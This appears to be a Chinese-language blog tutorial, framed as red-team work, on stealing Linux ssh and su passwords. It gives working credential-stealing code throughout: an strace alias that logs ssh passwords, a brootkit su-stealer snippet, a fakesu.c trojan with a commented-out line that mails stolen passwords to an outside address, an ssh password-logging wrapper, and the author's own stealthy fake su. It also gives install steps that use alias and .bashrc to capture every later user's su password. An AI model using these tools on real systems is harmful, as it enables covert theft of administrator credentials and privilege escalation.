背景:
在内部的红蓝对抗实战中,可以利用strace特性可以窃取ssh口令。可以监控所有从服务器ssh连接出去的用户口令。
alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read -s2048 ssh'
但是 strace 却不能完美用在su命令上。即使你输入了正确的密码,还是提示你 Authentication failure
换句话说 我们如果使用了 alias su = strace su -o xxx -xx 这种方式,管理员输入任何密码都会提示“验证失败”,势必会引起怀疑。所以我们得舍弃strace这种方式。
分析一下su的实现
逆向了一下Linux silver 3.16.0-4-amd64环境中 su的二进制实现。
发现su实际上使用pam认证机制,屏蔽了底层的认证实现,PAM认证机制是1995年Sun公司提出的。因为当时产生了很多新的认证机制,如口令机制、RSA、DCE、kerberos认证机制,以及S/KEY和智能卡。将PAM框架和具体的认证机制分离,这样再有新的认证机制引入到系统时,不用再去修改采用认证机制的应用程序,只需要由管理员配置应用程序的认证服务模块即可。这样就可以极大的提高认证机制的通用性和灵活性。
查看服务器上的su认证对应的pam配置
如上得知 /bin/su 被设置了 suid属性。执行su命令时,真正的认证过程实际上在 pam_rootok.so 和 pam_unix.so 中。会去获取 /etc/shadow中用户的hash值,进行对比。
当我们拿到一个普通用户权限时,我们无法重现实现一个root suid属性的su,只能另想办法。
著名的rootkit程序 brootkit中使用到的su小偷代码
[ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
echo -ne "Password:\r\033[?25l"
read -t 30 -s pass
echo -ne "\033[K\033[?25h"
/bin/su && unset su && echo $pass >> /tmp/...
这里是存在严重缺陷的。大家可以自己在环境中试试看这段代码。
缺陷:管理员 会发现,每次 su 切换用户时,都必须输入两次回车,且输入两次密码。 这种情况肯定会引起管理员的注意。
所以这种方式不够完美,我们得放弃brootkit所采取的这段代码
fakesu.c的源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define USERNAME "werner"
int main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[1000];
sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -f /var/tmp/su 1>/dev/null 2>&1;"
"mv -f /home/"USERNAME"/.wgetrc /home/"USERNAME"/.bash_profile;"
"rm -f /home/"USERNAME"/.wgetrc;"
"ln -s /bin/su /var/tmp/su;");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
user=argv[2];
else user=argv[1];}
fprintf(stdout,"Password: ");
pass=getpass("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\n");
if ((fp=fopen(filex,"w")) != NULL)
{
fprintf(fp, "%s:%s\n", user, pass);
fclose(fp);
}
system(clean);
/* If you want password in your e-mail uncomment this line: */
// system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]");
return 0;
}
这段代码年代久远。不过已经不能在现代使用这段代码了。即使管理员输入的root口令是正确的,也会提示 Authentication failure ,很容易被识别了。
上面的几种方法都不够完美,我们得另辟蹊径,打造我们自己的su小偷代码
#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
echo "$pass"| /bin/su $*
保存为 /tmp/.sushell , 然后 alias ssh=/tmp/.sushell
利用alias别名,用bash脚本来替换正常的su命令
但是这个脚本有个问题,就是上面代码中标红的地方,运行会报错。
报错的原因是:su命令只接受终端标准化输入的内容。不能够使用管道符来传递密码。
所以解决方案就是:寻找一种工具,可以免去交互终端的过程来达到口令窃取的目的。
某论坛上曾经看到一篇文章,就是讲述利用 sshpass包来记录root口令的方法。
下载地址https://sourceforge.net/projects/sshpass/
ssh口令窃取代码
#!/bin/bash
if [ $# != "1" ]
then
/usr/bin/ssh
else
echo -e "${1}'s password: \c"
read -s pass
echo $1":"$pass >> /tmp/.log
echo ""
**/tmp/.sshpass -p "$pass" /usr/bin/ssh ${1}**
fi
我们就得找到类似这个sshpass 的工具来实现su小偷。于是我就按照sshpass这个工具来仿照写了一个su小偷工具
实现效果
普通用户stanley su到root权限。
口令输入错误的情况下:
口令输入正确的情况下:
sushell的内容
#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
/tmp/.su -p "$pass" /bin/su $*
/tmp/.su是关键,可以实现-p 传递参数给/bin/su。 实现代码代码参考
https://github.com/stanleyb0y/sushell
下载代码,make之后,cp pty /tmp/.su
alias su=/tmp/sushell
也可以放到.bashrc里,影响所有后续登录用户的su行为